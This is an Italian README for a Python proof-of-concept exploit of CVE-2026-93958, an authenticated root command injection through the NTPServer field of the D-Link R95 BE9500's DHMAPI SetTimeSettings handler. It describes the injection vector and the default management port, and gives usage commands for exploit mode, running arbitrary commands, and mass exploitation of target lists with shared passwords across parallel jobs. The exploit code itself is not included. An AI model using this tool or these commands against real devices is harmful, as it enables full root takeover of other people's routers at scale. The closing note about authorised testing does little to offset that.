CVE-2026-93958 — D-Link R95 BE9500 (DHMAPI / NTPServer)

PoC in Python 3 per CVE-2026-93958 — firmware BE9500_1.00.16 di D-Link R95 BE9500 (build 1.01B06).

Descrizione (PoCbit / GitHub)

CVE-2026-93958 — iniezione di comandi OS (CWE-77 / CWE-78) in /bin/ssi DHMAPI (SOAP su HTTPS). Il gestore SetTimeSettings memorizza NTPServer senza sanitizzazione; la sincronizzazione UCI esegue uci set …="%s" tramite una shell, quindi i backtick in NTPServer vengono eseguiti come root.

Prerequisiti: sessione web admin valida (Login + HMAC API-AUTH). Utente predefinito Admin. Porta di gestione comunemente 18443 (provare anche 443).

Impatto: compromissione completa del dispositivo (RCE come root). Nessuna correzione del fornitore registrata per BE9500_1.00.16 (set 2026).

Ricerca pubblica: FoundTL/D-Link-R95-BE9500

CVSS: 9.4 (v4.0) / 9.1 (v3.1, PR:H, scope changed).

Pagina PoC: https://pocbit.org/pocs/cve-2026-93958

PoCbit

Catalogo: https://pocbit.org/pocs/

Prodotto	D-Link R95 BE9500
Firmware	BE9500_1.00.16 / 1.01B06
Vettore	POST /DHMAPI/ → SetTimeSettings / NTPServer
Autenticazione	Admin + API-AUTH
Exploit	iniezione `cmd`; output tramite /www/pocbit93958.txt

Funzionalità: CLI colorata, --mode check, --mode exploit, mass bulk (--list + -j), JSONL + exploited.txt.

Utilizzo

pip install -r requirements.txt

python poc.py -u 192.168.2.254:18443 --mode check
python poc.py -u 192.168.2.254:18443 -U Admin -P 'YourPass' --mode exploit
python poc.py -u 192.168.2.254:18443 -U Admin -P pass --mode exploit --command "uname -a"
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py --list targets.txt --mode exploit --password SharedAdminPass -j 12

Formato riga target: host[:port] [username] [password] (tab/spazio).

GitHub About (EN)

CVE-2026-93958 PoC: D-Link R95 BE9500 DHMAPI NTPServer authenticated root RCE. DHMAPI login, SetTimeSettings injection, mass exploit. PoCbit

Note legali

Test autorizzati esclusivamente su dispositivi di tua proprietà o che sei autorizzato a valutare.